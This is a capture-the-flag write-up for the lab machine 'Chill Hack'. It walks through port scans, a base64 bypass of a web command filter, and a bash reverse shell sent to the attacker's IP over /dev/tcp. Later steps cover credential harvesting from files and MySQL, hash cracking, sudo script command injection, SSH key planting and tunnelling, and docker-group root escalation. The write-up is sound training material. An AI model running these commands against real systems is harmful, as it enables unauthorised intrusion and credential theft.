Chill Hack


Pasted image 20240928093515.png

Description

Chill the Hack out of the Machine.
Easy level CTF.  Capture the flags and have fun!


Active reconnaissance

Enum ports and services

Executing a general scan

sudo nmap 10.10.64.167 -sS -p- -n -Pn -vvv --open --min-rate 5000

Pasted image 20240928094052.png|300


Vuln analysis

Executing a focused scan.

sudo nmap 10.10.64.167 -sCV -p 21,22,80

To make it more friendly add the ip to /etc/hosts/

sudo nano /etc/hosts

Pasted image 20240928094722.png|200

Port 21

Pasted image 20240928094240.png|500

FTP anonymous

We have a file on the anonymous, connect and download it
Pasted image 20240928094922.png|500

Reading the note we have

note.txt

Anurodh told me that there is some filtering on strings being put in the command -- Apaar

And we have two posibble potencial usernames.

Posible usernames

Anurodh, Apaar

Port 22

Pasted image 20240928094303.png|500

Port 80

Pasted image 20240928094323.png|500
We have an webpage
Pasted image 20240928095803.png

Fuzz

wfuzz -c -t 50 --hc=404 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://chillhack.thm/FUZZ/

Pasted image 20240928161834.png|500

Secrets

The most interesting subdirectory is this, we can run some commands on the system like www-data
Pasted image 20240928162657.png|400

Nikto


Exploitation

Abusing the shell

Trying to abuse the shell on the browser or BurpSuite
We can't run some commands like ls or cat. But we can bypass it encoding and decoding on base64 and running with a /bin/sh
E.g. Run ls command.

echo "ls" | base64 | base64 -d | /bin/bash

Pasted image 20240928172635.png|400

Reverse shell

We will try to get a reverse shell, start the listener

rlwrap nc -lnvp 4747

Run the revershell url encoded

echo "bash -i >& /dev/tcp/10.6.2.59/4747 0>&1" | base64 | base64 -d | /bin/bash
echo "bash+-i+>%26+/dev/tcp/10.6.2.59/4747+0>%261" | base64 | base64 -d | /bin/bash

We have the shell as wwww-data
Pasted image 20240928174803.png|400


Privilege Escalation

Pkexec

The easy way to escalate to root in this machine is show here CVE-2021-4034
If you want to continue the long way, continue with the write-up.

User

Listing relevant user

cat /etc/passwd | grep "sh"

Pasted image 20240928175048.png|500

Investigating files

In the /var/www/ folder we see an interest folder named files
Pasted image 20241002080117.png|500
There are a few php files and to search text on them recursively. E.g. the text root

grep -A 1 -i -r 'root' /var/www/files/

An username and a password was found.
Pasted image 20241002080358.png

Data base

Check if or which database is running
E.g.

ps -faux | grep -iE "sql|db|postgres"

Pasted image 20241002105527.png

Try to log in with the credentials from above.

mysql -u root -p

Works
Pasted image 20241002105747.png|500

show databases;
use webportal;
show tables;
select users;
describe users;
select * from users;

We found some credentials.
Pasted image 20241002151740.png|600
Cracking the hashes using john
Pasted image 20241002162244.png

Command injection

Sudo -l

Checking sudo -l, I can run a script as apaar
Pasted image 20241001152249.png|500
The script.
Pasted image 20241001124546.png|500

Warning

For the script work properly, I have to sanitize the shell Netcat#Technique 1 Python

#!/bin/bash

echo
echo "Welcome to helpdesk. Feel free to talk to anyone at any time!"
echo

read -p "Enter the person whom you want to talk with: " person

read -p "Hello user! I am $person,  Please enter your message: " msg

$msg 2>/dev/null

echo "Thank you for your precious time!"

When I introduce a text when I asked for a msgvariable then the script try to execute directly and the vulnerability lies in the $msg 2>/dev/null line. As we have the sudo -l privilege on the script we can run commands as apaar.

I have to execute the script as the owner

sudo -u USERNAME ./script.sh

Pasted image 20241001163135.png|400
The first answer is irrelevant, and the second is the command we execute a bash like apaar.

User Flag

Pasted image 20241001163842.png|400

HTTP service

Based on the nikto suggestion, check some interesting services, filtering tcpand LISTEN

netstat -anlp | grep -E "tcp.*LISTEN"

Pasted image 20241001174957.png|500
The port 3306 is usually associated to MySQL or MariaDB
53 Is an DNS server
The unusual or probably custom service is 9001 but is only available from localhost and after check it with curl we know it's a web server.
Pasted image 20241001184335.png
Now we are apaar and we have ssh access and we can perform a ssh tunnel.

SSH tunnel

On the Attacker machine, execute an cat the id_rsa.pub

cat /home/kali/.ssh/id_rsa.pub

Pasted image 20241001192909.png
Copy to the clipboard
On the victim machine, using echo paste the code and add or replace the authorized_keys

echo "ssh-rsa AAAA............y2w/oJ0= kali@kali" >> authorized_keys

Pasted image 20241001193414.png
Back to the attacker machine and now we can connect directly to the apaar machine without a password with the port forwarding

ssh apaar@10.10.206.108 -L 9001:127.0.0.1:9001

Pasted image 20241001193609.png
On the attacker machine we can see the webpage

The webportal

Pasted image 20241001193722.png
Using the credentials from mysql.
Pasted image 20241002191811.png|600

Steganography

Download the image hacker-with-laptop_23-2147985341.jpg based in the hint, steganography is sus.
Check the file with steghide, if maybe it has en empty password:

steghide info hacker-with-laptop_23-2147985341.jpg

Pasted image 20241002192351.png|400
We have a file, extract:

steghide extract -sf hacker-with-laptop_23-2147985341.jpg

Pasted image 20241002192531.png|400
Trying to unzip with an empty password.

unzip backup.zip

Pasted image 20241002192639.png|400
Try to crack the password

  1. Get the hash
zip2john backup.zip > zip_hash.txt

Pasted image 20241002192832.png

  1. Crack the hash
john --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt

We found the password

Now unzip the file and we have
Pasted image 20241002193648.png|400
In the code we have an base64 password
Pasted image 20241002194033.png|400
Decode

echo "I..........ZA==" | base64 -d

Pasted image 20241002194239.png|400

Logged as anurodh

Connect through ssh
Pasted image 20241002194656.png|400
Check infro from us
Pasted image 20241002195001.png|500
We are in the docker group and can escalate based in GTFOBins

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Pasted image 20241002195434.png|500
Get the root flag

proof.txt

Pasted image 20241002195645.png